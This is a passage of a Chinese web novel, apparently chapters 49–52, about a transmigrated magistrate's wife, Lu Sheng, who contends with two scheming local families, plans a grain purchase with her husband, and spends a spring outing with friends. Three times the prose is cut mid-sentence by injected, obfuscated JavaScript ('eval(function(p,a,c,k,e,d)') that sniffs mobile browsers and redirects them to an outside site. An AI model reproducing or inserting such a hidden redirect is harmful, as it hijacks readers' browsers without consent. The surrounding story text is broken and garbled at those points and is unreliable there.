“臭小子,你要是去!我就……” 隹黎作势要打,谢林拦住他,用苦口婆心的语气劝:“贼老头,又不是不知道你们唱歌跳舞过节,这么拦着做什么?让他跳!” “父亲,那我去了!”隹崖一个翻身出了水亭,修长有力的腿一蹬省了不少的路途。 于是这桌上就剩了谢林、谢栖真、隹黎三个人,谢林半抬眼皮让谢栖真再吃一个樱桃毕罗,她推辞后知趣缓步离开。走到半途她又看一看水亭,以后,她要这亭子属于她。 原本她是要回去的,但听到敲起了鼓声。谢栖真挥一挥手,婢子行礼离开。她则绕路去花园另一边,那里也有岸,而且离舞蹈的地方更近。 她还没见过土人所跳的节日舞蹈,念头似春雨,一洒下那点好奇就像雨后春笋一样生得快速且茁壮。 走到岸边,只见隹崖对天地张开了双臂,动作仿佛水面的波纹。忽然他又把自己的双臂聚齐,人不停地转动,转动,转动。 谢栖真想到蟾宫天花板上循环折叠的花纹,据说这种花纹落在西域的石窟里,是佛菩萨的背后的花纹,永恒地旋转变化。 看了一会儿,谢栖真收回目光,习惯性地判断一个人。她觉得隹崖人生得威武,就是笨,这样的人是没有办法做家主的,不敢想要是隹家选择他会多倒霉,但对谢家来说是好事,从此一家独大,不再需要偶尔仰人鼻息。 舞蹈还在继续,谢栖真却忽然失了兴趣,转身离开。 家里很大,谢栖真一时没了目的,她便随意走,脚步最后延伸到蟾宫,那里空空如也,但灯一直是亮着,光从草木之间漫出来,落在自己的脚尖,她踩了两下。 没有进去,她直接坐在台阶上,手揉一揉太阳穴。 刚才的鼓声实在太吵,但是揉到手酸她才发觉,原来不是鼓声太吵,是自己一直在想那鼓声。她只好怪这过于好记的节拍和突出的声响。 揉不去这节拍,谢栖真干脆站起来,一只手臂缓缓抬起,腰肢微微向下,是舞蹈的起始动作,她学过舞,不过是与礼相关的舞蹈。谢栖真脚尖用力,人轻盈地向上,火一瞬全落入眼睛,心也像被照耀了,失了沉甸甸阴霾。 “跳得真好!” 有人为她鼓掌又喝彩,但这么大的地方,一个人的鼓励是如此单薄,风都能压下。 “在别人家胡乱走,隹郎君可懂何谓‘礼’?”谢栖真将帔子一握一抖先问起他的罪来。 隹崖耸耸肩说:“我只是迷了路,方才舞蹈时看到谢娘子往这边走了以为可以来呢!” 他说着大步走过来,越来越近,最后超过了应有的距离,谢栖真应该叫停,但她只是沉默。 在可以听到他呼吸的距离,谢栖真忽然跨出了步子,隹崖一把抓住她的泥金帔子,但就像抓住一缕风,它绕着她的肩背直接滑落下来,由着他握在手心。 隹崖握着她的泥金帔子心如擂鼓,自己刚才喝了太多酒,头脑真是不清醒,怎么能如此,他不再去追站在原地,准备原路返回。 “不来么?” 隹崖脸蹭的一下红了,觉得从脊骨附近忽然张开有一张密密麻麻的网将自己裹住,酒热从身体里源源不断地散出来,他有些眩晕,腿也有些发软,但它自己在动,甚至是跑着过去。 谢栖真笑他,引着他走到刚才她站着的岸边,比刚才的位置靠后一些,有树林遮挡,但那边笙歌与交谈声还是能听到一些。隹崖和她靠得很近,她的身体靠过来,温热的,她攀着自己,双手交叠在他的脖颈处,像摘花一样把自己压下来。 隹崖脸上的绒毛已经感受到了她的呼吸,像是风吹麦浪,他不爱 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隹黎没心思管他,去谢府赴宴又是跳舞又是落水的,今天简直是给谢家送笑话来,还不是一个,而是一本。 “父亲,您能不能帮我提亲!” 隹黎睁一只眼问:“你说什么?你不会跟谢府的哪个丫鬟好上了吧?!” “不,不是。是今天和您争执的那位小娘子!” 隹黎之间抄起烟袋杆给了他一下,他骂道:“吃的什么狼心豹子胆,你敢娶她?” “我心悦她,非她不娶!” “那人家呢?”隹黎冷笑。 “没说……”隹崖没有把他们亲嘴的事情说出来,但既然肯跟自己亲嘴,必然是心悦的。 而且他手心里的攥着的东西叫他确信,她绝对和自己一样。 但隹黎的一番话却叫他心冷下来。 “哼,她已经有婚约,不久前刚定的,和江南西道的一位县官,官运亨通能青云直上。” 隹黎觉得谢林教出来的女儿比他还青出于蓝胜于蓝,胆大包天玩弄人心,可自己也没法问罪,人证物证何在?这里不是土人黑寨,上面下面的规矩都多。 隹崖不说话,隹黎不管他,话已经说到这里,反正年轻小子就是这样,过段时间再相看一个美人就能忘。 - 谢栖真抱着手臂靠在窗边,院子里的海棠花边挂着一盏灯笼,素灯笼照出花瓣的轮廓与颜色。 这灯笼与那女镖师家的差不多,她那天其实去了,灯笼是她点的,她还记得把手上刻着一个陆字。 还以为她会有些手段,现在觉得可笑,这镖师连当自己的对手都不配,她讨厌陆笙,她不应该得到的这么多不属于她的东西。又想到谢林要为她与赵昙说亲,现在八字还没一撇又开始说已然蒂婚,她觉得父亲真是愚蠢,永平县是大有可为的地方,她会留下来的。 “谢娘子,你说亲了?” 来了,谢栖真嘴角浮起一丝笑,反手将窗关上。隹崖不敢高声含,此刻在窗外急切低呼。 “这么急?”谢栖真的声音从门缝里飘出来,隹崖一把推门进去,却看到对方衣衫已去。 隹崖急忙别过眼。 “过来吧。”她说。 隹崖不动。 “不过来又不走,欺负我辜负我?真是狠心。” 那种吃错菌子的感觉又来了,走过山道跋涉过湍流的脚此时软软的,像山螃蟹刚刚蜕壳。而她又化作缠藤,开着朝月的花,察觉时已绕住自己的脖颈,像流水一样扑到自己的胸膛。 隹崖紧张得如同一暴雨后的大树,人动也不动,又浑身是汗。 “跪下。”谢栖真忽然说。 她说话柔软扯蛛丝,隹崖的腿随声弯曲,他简直恨自己懂得这几个字的意思。隹崖被她捧着仰面呼吸,大口呼吸,像一尾盛夏暴雨前无法悠游的鱼。 谢栖真看着他没出息的样子却笑,对他说:“隹崖,要让我欢喜啊。” 50. 第 50 章 刀尖刺入瓦片上积累的灰尘,一笔一画的痕迹搭成个“陆”字。 她写成的时候天光熹微,有人匆匆忙忙从屋子里出来,衣服还没穿好,今天他已经不再如第一天那么慌张的四处张望,熟门熟路地随着小径快速跑出去。 陆笙眼底只有一片冷漠,如果对方从这里过,她会杀了他。事实上她正在认真而冷静地思考这个问题,如何除去谢家与隹家带来的阻力。 两家有大量的资财,现在已经利用信息差开始拿出比以往更高的价格收购田地,农民失了土地是件严重的事,最重要的是原本可以改善的生活被剥夺了,而且一旦经商的人生意崩溃,失去土地的农民就容易成为流民。这片土地是如此广袤,或许永平县这点流民不算什么,可是每一个流民本该有普通的生活,更好的,更有尊严的生活,陆笙无法坐视不理。 陆笙觉得头好痛,里面像孕育着什么,跟随自己的心脏泵血而鼓起膨胀,但它又带着密密麻麻的尖刺,在自己的血肉身躯里破坏,她忍受着这种毁灭倾向而继续思考。 她不是硅基生物,是普通的人,所以她如此痛苦,痛苦是跗骨之蛆,会如影随形,但她不会屈服,她要覆盖它,驱逐它。 眼下看,除去这两家就是最直接的解决办法,她根据杨珞云的数据得出一个结论,除去谢林和隹黎两家是最合适的,更巧合的是两家的后辈在一块,省去了她找人的功夫。 可一谢、隹两家崩溃,劳动力又需要重新整合,此地会出现什么动荡吗? 心似乎结了冰,陆笙冷得打了个颤。 她往左右看看,自己断断续续刻了十几片瓦,这意味着她思考了十几天要杀人的事。没有答案的未来每一刻都是这么容易崩溃,或许当初应该同意崔息的办法,不,那时候自己是一定会拒绝的,迫切还未降临。 最后她想,要不问问谢栖真吧?反正还有一刻钟才有其他人来。 “啪!” 一片瓦应声落地,这声音在此时此刻分外刺耳,周围还没有鸡鸣,夜晚的枭已经倦怠。谢栖真裹着衣衫从屋里圾着鞋出来,她青丝过腰,发丝之间的热气一点点飘散,她紧了紧衣服,左右看看。 “谢栖真。”陆笙支着下巴歪着头喊了一声。 “陆……陆笙?” 谢栖真看到她手里的冷光身体抖了抖,她要做什么?自己现在不能死,绝不能死! “谢栖真,你觉得自己该死吗?” 陆笙的语气带着一股孩童的天真,仿佛在问平常的天气,但极其认真,残忍的认真。 “你疯了!?”谢栖真被她吓得后退两步,捡起摔碎的瓦片,瓦片上是一个偏旁,其他的碎片组合起来是个“陆”字。 谢栖真手颤抖,难道她发现了?不会的,不会的,不,她想的是就算发现又有何妨,可是那个女人握着短刀在自家屋顶上,说不定还看到了跑出去的隹崖。 “陆笙,有什么话我们冷静一些说,烧了你家是我的不对,但我可以赔你十倍,不五十倍的钱。” 陆笙像是听不懂她的话,只是盯着她,瞳仁竖起似得,她简直像一条蛇,冷血的。 谢栖真呼吸几口,未被阳光照过的空气冷得她喉咙刺痛,这点痛却让她按捺自己的心急与恐惧,也发现自己刚才下了一招坏棋。好在这里就她们两个人,这个话落不成事实。 现在只要安抚住陆笙的情绪就好,再过一刻就有人过来,到时…… “啪”又是一声,碎片落在谢栖真的脚腕上,血珠涌出连成一道线,最后坠下。 陆笙不说话,只是高高坐着,带着睥睨一般的眼神看着自己,仿佛在嫌弃自己的愚蠢,谢栖真嘴唇被冷得发抖。 说“该死”大概会让陆笙的心情好一些,但谢栖真张嘴话却成了:“不该死。”她心里那股气下不去,她凭什么该死,她就是不该死,就是要踩着别人活。 陆笙忽然寒光入鞘,没有看谢栖真,自顾自跳走了,毫无征兆毫无行为逻辑。 本以为是仆役来了,但四望无人,只有海棠开得静悄悄。 “疯子!”谢栖真眼泪落下来,脚腕的疼痛也显现。她气得用把开了的海棠花枝都折断,边折断边骂:“这个疯子!!疯子!!” 被骂的陆笙正在鸡鸣声里惆怅,原来做一个普通的好人真是件很难的事情。其实这件事情她还没想通,但是刚才生出强烈的直觉,她就走了。 走的时候她眼睛眨眨,没想到还有意外收获,知道了原来是谢栖真烧了她的家。不过这件事陆笙倒是翻篇了,因为烧了以后她才发现,原来家是烧不了的,那种联系怎么能烧了呢? 如果是物理的家,那么其实也算烧了阿木凌她家,下次写信要写进去,陆笙记一笔。 或许总要自己做了以后才知道后不后悔,陆笙由上一个念头跳到了当下,也翻过了围墙落地到院子,一片新鲜的绿意浮现眼前,生命力如此茂盛,简直令人感动。 丰娘昨日劝她锄草,说现在院子里都是杂草,但陆笙暂时没有想着清理,得等草再高一些。 其实就算清理也不会把杂草完全去除,而是割了以后堆在作物附近。 如此昆虫便会于腐草之中钻出,生态又丰富一些,而堆积的杂草会暂时压制一下其他杂草,植物生长需要光,没有光就容易羸弱。 她每次看这个后园都觉得逐渐朝着荒芜靠近,但又纠正自己,这是人类心中的荒芜,实际上茂盛得很,还有野艾呢!不知道是随着哪一片风落地,等到清明可以拿来做青团。 不过管理菜园也避免不了心情太忐忑的时候,毕竟是自己亲手浇水亲手施肥的,已经有了感情。为了“荒芜”土地,她还特地向烧瓦片的窑定了些圆柱形的陶罐,长的,还要有空洞,她要拿来做蚯蚓塔。 想到她就去把蚯蚓塔的盖子打开看看,蚯蚓已经把昨天的食物吃了三分之一,看来活力很不错。陆笙满意地拍拍手,走到退休居外把短刀挂好以后开始练拳。 此时鸡鸣已经没有那么集中响起,在晨光里,陆笙开始新的一天,两腿平宽于肩,重心往下气沉丹田,脚步与手掌随心而动,浑浊之气被吐出。 打到第九式时府里会有些声音,那是仆役婢子们准备跑去吃饭的动静,本来只是男的跑,回来给婢子们带食盒,但不知是哪个婢子提议自己也要跑,后面就变成了都去。 现在去的还有捕快,秦厌说县令大人觉得捕快们身体素质参差不齐,他就算让一只手也没人能叫他动一步,所以也要从身体素质开始抓起,他骑马先过去吃,别人跑步过来。 也有人不服,结果秦厌比崔息还强些,这时候没人说话了,唯一庆幸的是灵小娘的饭菜做得不错,现在据说汤伯也会去吃,他的评价是便宜适口。 陆笙杂念不停,三十四式用了平时两倍的时间才打完,打完回到退休屋她开始翻今天的日程。 这日程是由于她与杨珞云共同商议出来的,在玄关处加七个木钩,然后挂牌子,牌子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127564|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只指示有没有要紧事,具体事还是要写了放在自己知道的地方,否则人家一推开家就知道你做了些什么。 她在今天的木构上挂了一块樱桃花木牌,这代表着崔息。崔息前些日子因公出差,今日回来。 陆笙对着这朵他亲自画的樱桃花发呆,自己方才的那一场杂念,那一场荒芜,到底是茂盛还是其他什么。 思考杀人时她有完整的计划,甚至有数个备用计划。今天是她最该动手的时候,因为崔息要来,他反应迅速,会成为她最好的“帮凶”,他应该会先安抚两族、再扶植第三家或者第四家。 想到这里陆笙想笑,什么帝王之术,什么御下有方,不过是走到那一步只能这么做,君不见,一个破落小县也是如此。 “夫人。” 崔息的声音出现在她背后。 陆笙没有转头,心里爆出一阵慌张,她双手颤抖,只说:“等一下,崔息你在这里等一下……” 说完踉踉跄跄地穿过两道木帘,她根本没想到崔息这么快回来,她的面具还在交替,更重要的是,为了使永平县的百姓不失去土地,她还有另一个提议,今天崔息回来自己就要与他讲的。 无比难出口的提议,她一想到就要颤抖。 这个提议是让崔息虚构一个州府的富豪,要收百姓的产粮。 同时县衙也要建立粮仓,今年就由虚构出来的富豪为县衙买粮,并由县衙出具凭证去收购散户手里的粮食。 直接有效,但是需要付出几乎是家里所有的钱财,若计划顺利钱财可以收回,若计划不顺利,那便无法收回。 对陆笙来说欠钱就像用刀刺入皮肤,穿过骨骼,只要一日不还就有时时发作无法愈合的苦痛。 现在要她跟崔息提议把他的钱全部散了去为永平县的良好发展开头,这怎么好开口? 就像自己曾在家里,自己是一个没有收入的孩童,但是需要金钱维持学业甚至是日常开支,陆笙的父母时时刻刻在跟她算账,算课本费、杂物费、课外活动费,再后来有了校车,还要说校车费。 现在要崔息拿出来的是多少钱,她知道的,数字就摆在她的眼前。一个庞大的,足以压垮她的数字,到时崔息熏不起檀香、用不起好炭火会不会责怪自己? 金钱的缺少直观的,生活方方面面都能感觉出来。陆笙感觉过,那么痛恨被念叨各种费用的自己,在只能吃五块钱不到的学生餐时还是有气的,书只能借,衣服不能轻易破了,要时时看天气,生活中小感冒都足以让她捉襟见肘。 可她回的家是别墅,父母是有钱人,只不过把所有倾注给了另外两个孩子。又因为他们的富有,自己无法申请贫困补助。 虽然再大一些,她明白自己那时也有问题,人情一旦发生缝隙,如果双方没有主动修补,那就如同千里之堤崩溃于此,再挽不回了,可他们为什么能这么狠心,陆笙忍不住恨,她到穿越来时还是有恨的。 她害怕再次被金钱支配了这段关系,可没有办法,开弓没有回头箭,她炸通了水道又无法眼睁睁看着这条河成为吸干每个普通人鲜血的商路。 她是普通人,与天搏,与人斗,只是想做一个普通的人。陆笙从罐里拿出一根莲心压在舌下,苦涩带来清醒。 事急从权,有舍有得,事事如此。 她压下心中情绪,朝着木珠帘外沉声道:“崔息,有件事须请你听我说。” 她深呼吸整,对镜子笑一笑,拂开了木珠帘。 51. 第 51 章 退休居里的窗都开着,昂然生机入户,崔息与陆笙对坐着。 “永平县耕作之事不可再拖延。”她先点出事情的关键点。 耕种水稻的事至多拖到清明前,若清明后就需要换一种稻,但那种稻产量低味道还差,商人多半是不会收的。 崔息听到陆笙提及此事郑重点头。 “所以……”陆笙放在桌子下的手掐住自己,逼迫自己一个字一个字说完,“希望大人可以献出家财购买百姓手中多余米粮。” 后面的话是她对于崔息目前手中财产的掌握度,她想开口的时候却被崔息打断。 “我也是为此事而来,本是想求夫人原谅,不曾想实是以小人之心揣度夫人大量,实在有罪。”他笑一笑,方才那点严肃顷刻就散去。 “好!一言为定!”喜悦冲上来,陆笙高兴地用手大力拍了一记。 她用力太猛掌心火辣辣地发烫,鼻子又莫名酸涩,但惊喜过后是困惑。 对于捐献资产,陆笙可以理解。但陆笙不明白是,为什么他要问自己呢? “只是为何?这件事你不必问我。” 自己对于他的资产拥有没有半点贡献,而且只是一场约定,何必寻求自己的同意。 “我们是夫妻,动用家里几乎所有的钱财自然是要问过夫人的,就算不说,夫人如此聪慧又怎能察觉不到?士为知己者死,夫人于我不只是一场约定。”崔息说得恳切。 陆笙觉得自己像一块苔藓,这件事则好似巨力碾压,碾出她的血泪,自己小时候看的《白蛇传》里说许仙早知道白素贞不是人,因为他知道人世间不会有如此毫无要求的爱情,这根本不是人的感情。 原来不明白,现在陆笙明白了一些,甚至觉得崔息的身上有这种非人的感情。想必他也是知道的,否则又怎会把出家当作自己的归宿。 陆笙刚才还把他设计成“帮凶”,把他的仁慈作为弱点…… 虽然可以推脱的理由很多,但是于自己于他都是一场辜负。 陆笙又模模糊糊地感觉到一种新的东西,不顾一切神挡杀神佛挡杀佛的锐利,如崔息性格中那那一部分仁慈的柔软,它们或许可以合二为一。 天地不仁以万物为刍狗,天地宽厚四季流转生生不息,说出来又成了大话,落在人间实在是变化万千,不可概论。 “云尘,若天下父母官如你这般,便真如春风化雨。”陆笙真心夸奖。 崔息却摆摆手,有些自嘲地笑一笑。“不过是家中分我的产业,我无甚本事。” “何必自谦如此,你字就写得好,天下比你字还好要的人怕是不多吧?”陆笙希望他不要如此自贬,他是好人,太好的人。 崔息忍不住笑,陆笙夸他很难不得意,他说:“夫人的刀剑是我写字换的,没有动家中分的产业。” 陆笙心里震动,他真是…… 无法用言语形容这种感觉,她按下不去想,好在事情可以暂时揭过,陆笙不再那么严肃笑着说:“那为何不多写?只要天天写不是富可敌国了?” “怎好如此。”崔息笑着摇头。 这句话陆笙说出口觉得过分,在竹有节,人应有节的此时,自己这句话有点像自己在劝崔息做个无赖。虽无心,但不好。 陆笙搜肠刮肚没有别的话,话在这个时候太过轻飘飘,所以她站起来,走到崔息身边,崔息看到走过来也不坐着了,也站起来。他想听清楚她说的每一句话,但她什么也没说,张开双手抱住自己。 这些日子应是练武有成效,她力气变大了许多。 “传说某处有种习俗,表达开心应如此。” 她的声音闷闷的,或许是因为自己穿的衣服太厚,声音不能很好地透过来,崔息垂下的手也落在她的背上,拍一拍,叫她安心。 陆笙身上有草木气息,衣服上还留着些瓦上灰。 “夫人辛苦。”他对陆笙说。 说自己辛苦,他也是饮了风尘和暴雨,走过泥泞与陡峭。 “你走出永平县的时候香椿正是吃的时候,回来以后却老了,春天万物过时不候。”陆笙说完松了手,从他的怀里退出来。 陆笙记得那天自己正在教阿灵做菜,讲春日的菜品。春日的植物嫩芽可入菜,又可冲茶,再过一段时间,山林里的菌子也会冒出来,春日勃发,夏日荣荣,若有心可多识草木,认得多了,可吃得也就更丰富些。 她又讲火候,说夏日荣荣全仰仗冬藏与春发,做菜也是一样,不要怠慢了火候,该等的时候要等,切莫心急,否则糟踏了食材,不可取。 崔息瞳中如点灯,他看着陆笙讲:“夫人,怪我回来得太迟,下次应换一匹千里马,日夜兼程,定不叫春光老去。” “公子、笙姐姐,你们在做什么?”秦厌不知什么时候过来,两个人都没注意到。 “秦厌,你怎么不敲门?”陆笙斜他一眼。 “那真是天大的冤枉,我敲了门的,笙姐姐你都在门上放铃防我了,我也没有在你说的时间闯进来,我冤枉!”秦厌双手环在胸前头往左边一撇。 “何事?”崔息问他。 “要紧事,重大事,否则我怎会如此不识大体!” “说正事!”陆笙提醒他。 “谢家和隹家各开一家食肆,都在码头那。” “这不奇怪,码头以后人来人往的,是个人都要吃饭,开食肆也很正常。”陆笙知道他们对外消息灵通的。 秦厌表情夸张地强调一个细节:“可把我们家夹在中间呢!” “夫人准备如何应对?”崔息听了也皱眉。 “开满足口腹之欲的店,好吃是关键,熬呗,看谁熬得过谁。” 陆笙一点都不怵,码头工人要吃的是量大、管饱最好味道重些的食物,这两家会不会做还不一定。 转头她对秦厌说:“你空了去尝尝两家的吃食,回来给我报个信。这样我也好教阿灵应对一二!” “好嘞!”秦厌一口答应下来。 “对了公子,你说你一回来就让我提醒你,你要巡视一圈永平县附近的农田。” “嗯,明日就出发。”崔息点点头。 “这回离家近些,不必住在外头和应酬吧?”陆笙问。 “日日都可回来,夫人要与我同去么?” “嗯!这回与你同去!”陆笙点头。 因为她听到些消息,说谢家不知从哪里弄来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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丰娘把兰花放在窗口,菖蒲放在案头,坐到陆笙身边拍拍她的肩。 “娘子,你从前不适意都做些什么?” 陆笙看着沈莲丰关切的神色,突然觉得心里升起几分委屈,也不是真委屈,只是丰娘太容得下自己了。她克服了骄纵却没能克服被包容的肆意,好像在她身边可以肆意地哭,极致地去爱,极致地去恨。 “在树上待一天。” “在树上?”沈莲丰震惊。 “从前县城里有一棵很大的不知道什么树,扎马步、练骑马累了就去树上待着,什么也不干。” “那今日我们出去吧,之前听秦厌说你们在山林子里做饭吃,我从前多去曲江池和终南山,不曾真在野林子里吃过饭,也想恣意一回,如何?” “今日晚一些还要教阿灵做菜,还要写字,菜地里的情况也要好好看看,还有我们家的地,还没有想好耕种什么……” 这么一说陆笙觉得头大,居然有这样多的事,一开始不是只为了种地么?怎么自己和502胶水一样粘了这么些个杂物,搞了个俗事缠身! “娘子,虽说能者多劳,可不是你这么劳的,是不是阿郎传给你的坏习惯?人力有限,不必苛求,做不完的拿出来我们开会。人生在世至多百年,该休息就得休息。今日我替你做一回主,学习那天竺佛国的道,放下,放下,放下!如何?” “好——,那就听丰娘的!” 陆笙眨眨眼,心里泛起些温热。 52. 第 52 章 沈莲丰为陆笙选了一件天青色圆领袍,又将她腰暗沉沉的蹀躞带换成了金线绣花带,上面染了蝴蝶花样,于是一圈蝴蝶首尾相接围陆笙腰线飞了一圈。 头上穿金戴银不够生气,那就换大红色的花朵,艳艳的茶花在乌发中绽放,又缀两颗金珠作陪,仿佛朝阳下的鲜露。 如此也还不能体现丰娘的巧手,她给陆笙画了入鬓的剑眉,不扑粉,唇色轻着,将英气与柔美调和,放大陆笙身上独特气质,显得她清而不冷,美而不娇。一双眼睛锐利又生动。 陆笙捧着丰娘递给她的铜镜快惊呆了,这,这是什么人间妙手。 “丰娘。” “沈管事。” 听声音是杨珞云和阿灵到了,陆笙转过去,两个人只觉眼前一亮。 沈莲丰站起来,招呼两个人坐下。 “今日就当自家姐妹相会,也不分什么大小尊卑,痛快玩了,都喊我丰娘便是!” 阿灵咬咬唇问:“丰……丰娘,这是怎么画的,我能不能也学学?”她不敢叫沈管事给自己画,只好说一个“学”字。 沈莲丰自然是瞧出来了,叫她坐下,自己为她试妆。 “那丰娘也为我画,我为你设计一个新的妆匣,或者为你物色些好花!”杨珞云最近同沈莲丰因为小毛锤亲近些,话也熟络。 “我……我可以做菜!”阿灵声音有些怯怯的。 陆笙坐在旁边喝茶,偷偷拿起案上的香丸嗅一嗅,一股奇妙的味道,不是檀香也不是沉香,有点微微的凉意,很是特别。 “这是我自制的香,叫娘子见笑。” “丰娘真是手巧!”陆笙惊奇,对沈莲丰的敬佩又多几分,以后永平县要是繁华了,说不定能请她留下来或者一起去江南卜居…… 陆笙晃晃脑袋,想什么呢! 她这份矛盾心情被沈莲丰捉住了些蛛丝马迹,轻轻敲她一记,眉毛微微对陆笙皱一下。 陆笙吐吐舌头,意思是知道了,不会胡乱耗神。 “今日不想这些,只管玩乐。”她保证。 待妆成,陆笙领人去自己菜园子看看,园子里的小塘已经有圆圆的荷叶摇摆着支棱起来。 “摇摆?娘子,它真的会摇摆吗?”阿灵指着塘里的花问。 “那是自然,我清楚得记得前天这片叶是靠着东边的,现在摆到了东南!”陆笙因晨起练拳的缘故,每日都会看到这塘里的荷叶。 “我还准备给它再点缀一番,光是石头围一圈实在单调,要是再加一些水菖蒲、浮萍和小鱼就更好了,到时候还会有鸟来,再放一些白沙,鸟儿还能在里头洗澡,周围种芋不知道行不行……” 陆笙对这个荷塘是有构想的,她希望它能靠着野趣的方向再发展一些。 “那果树的果子和菜地怎么办?”杨珞云沉思。 此处的鸟很多,每日都能听到鸟鸣,夫人这么做倒是吸引了别地的鸟,其他人家的果蔬少了鸟喙之苦,但她这片地如何是好? 陆笙挠挠头,好像……很有道理…… “我阿婆倒是要我驱鸟,娘子真是不一样!”阿灵这些日子跟着陆笙学厨,对陆笙相当佩服,娘子对小小食材的来历、种法都很明白,还有一肚子的故事可讲。 陆笙脸红,阿灵用最真诚的话给予她沉重一击。 沈莲丰为她说几句:“娘子养地有方,这园子虽是荒芜了些,但我看过的,菜蔬叶大体也大,不像是随便种的。” “对,不是随便种的。”陆笙见到沈莲丰为自己撑腰,立马硬气一些。 杨珞云拨开杂草瞧了瞧,咦?还真是! 之前她瞥见菜苗的叶子还是刚长出来的蜷缩状态,现在已经有力地展开,上面虽然有些虫洞但生命力肉眼可见地顽强,已经张开其他叶子。 “娘子,你这园子里居然有一片马兰头,要不要摘了去拌着吃?”阿灵喜欢吃所谓野菜,家里也腌了春天的蕨菜、马兰头。可惜蒲公英腌起来不好吃,否则她要去采好几筐备着,等春日过了慢慢咀嚼,回想这片太过绚丽的以至于目不暇接的春日。 杨珞云扯一扯阿灵的袖子,自己和阿灵这样的穷苦人家爱吃这些,但县令家中恐怕不喜。 没想到陆笙点头说:“好哇,但是这要与香干同拌清香落在柔软处可以细细咀嚼,不至于囫囵吞下,吃起来有绝妙滋味!” 几个人笑吟吟在后园里辨菜、采摘,沈莲丰又说起自己听到的消息来,说是城东有一片向阳山坡,那里的油菜花已开,一片鲜黄,粉蝶翩然,美丽异常。 陆笙听了当即拍板,去,立刻去! 可是阿灵不会骑马,杨珞云本想包揽但被沈莲丰接下,体谅她手臂不便。从前杨珞云是要不快的,但今日只觉柔软温暖,丰娘既有雷霆霹雳的手段又有纤细入微的体贴。 决定后,大伙就一块去选马。 阿灵第一次来马厩,心里异常紧张。 她本以为这里会有一股动物的臭味但并不如此,走进去暖烘烘的,稻草的味道在空气里弥漫,就像坐在烧完火但堆满稻草的炉灶边。马儿在安静地吃草。 阿灵来县令府时未曾见过几匹马,现在这里却有五六匹,毛色油亮,尖尖的耳朵会忽然动一动,可能发现自己在看它们,马儿偶尔会昂昂头看看阿灵,她不敢和大马对视,立刻低下了头。 几人骑马但行路不快,因为阿灵觉得颠簸有点想吐,大家慢下来的时候小姑娘又掉眼泪,怕晚了进程。 “没事的,这油菜花还能现在开,等会儿不开么?慢慢走也能看些别人看不到的。”陆笙拍拍阿灵的脑袋。 走到那片油菜花的地,陆笙有些哭笑不得,还以为是如何壮观的一片,以为会绵延一片,谁知道就是那么一块地,从前见过青瓦白墙和仿佛无边的花海,这点油菜花已经不足以让陆笙发出惊叹。 “这么多的油菜花,都闻得到花香了!还有蝴蝶,好多蝴蝶!”阿灵却兴奋难当。 蝶恋花香,春日作媒,多好的光景,以前怎么就不出来走走呢? 真好,有看得到美丽的眼睛,陆笙心里赞她。 赞叹完她寻了一根木枝,问丰娘要了棉线,又捡一片落下的白色花瓣。三个人围着陆笙,不知道她在做什么。 “喏,这样蝴蝶就会跟着你了。”陆笙示意给三人看,之后又把这根木棍交给阿灵。 阿灵拿着去玩了,杨珞云和沈莲丰站在旁边,看着她们欲言又止。陆笙眼珠一转,明白了,她们也想玩,于是又做了两个。 以为做完以后能休息,谁知道又有人请她做,还愿意给些钱。陆笙便开始做第三个,第四个,第五个…… 做到后来蝴蝶已经飞不过来,有个小孩捂着脸呜呜地哭。陆笙掏告诉她今天没有以后还有,她还有很多春天可以招引蝴蝶,还可以教伙伴做,大家一起玩。 又觉得自己说教意味太重,从袖袋里掏出一颗桂花糖给她。 柔着声说:“吃颗桂花糖吧,眼泪太苦了。” - 阿婆坐在灶边烧火,忽然听到门被开打的声音,接着是阿灵甜甜的声音。 “阿婆,我又带夫人来看你啦!” 阿婆拄拐杖过来,如今她已经比摔倒那时康健许多。 “见过县令夫人。”阿婆还是固执地要给陆笙行礼,陆笙搀着她问好,又把她扶起来。 她知道老人家的坚持,礼应该行的,不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150401|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼万一哪天县令夫人怪罪可不好,这样的小心翼翼陆笙觉得很不好意思,这样的事情又很多,像跑进荒野粘了一身苍耳,有些刺痛。 “夫人,你送的拐杖我一直在用呢!”阿婆拿起来给陆笙看。 陆笙问:“合适吗?不合适我给您改改。” 又把杨珞云拉出来,“我们俩一起做的。” “合适,拿在手里正好。”阿婆拉着陆笙的手说,又讲自己刚才在做什么。她说自己已经把灶火点起来,如果要教阿灵做菜,现在就可以。 陆笙说想先看看她家种了什么菜蔬,又用什么法子施肥。 “菜就这寻常的几种,一畦白菜、一畦茄子,今年要搭架子的倒是多,胡瓜、豇豆、扁豆。”阿婆指了指院子里用竹子搭的架子。 每次看这整齐的菜畦,陆笙都汗颜。 “施肥倒是用的别人沤好的肥,倒夜香的会给送来。平时一些菜叶子也会扔到土里头,野草也翻进土里。” 阿婆一点点讲,但她的记忆与体力已经支撑不了那么久的说话,说到后面就需要休息。阿灵给她搬了高椅,垫了软垫的,她可以坐着。 沈莲丰坐在她身边,问一些她的家常事,杨珞云去处理她们从野外带回来的野菜。厨房里的刀落砧板的声音不停,不久又有炒菜声,青烟带着香味从烟囱里冒出来。 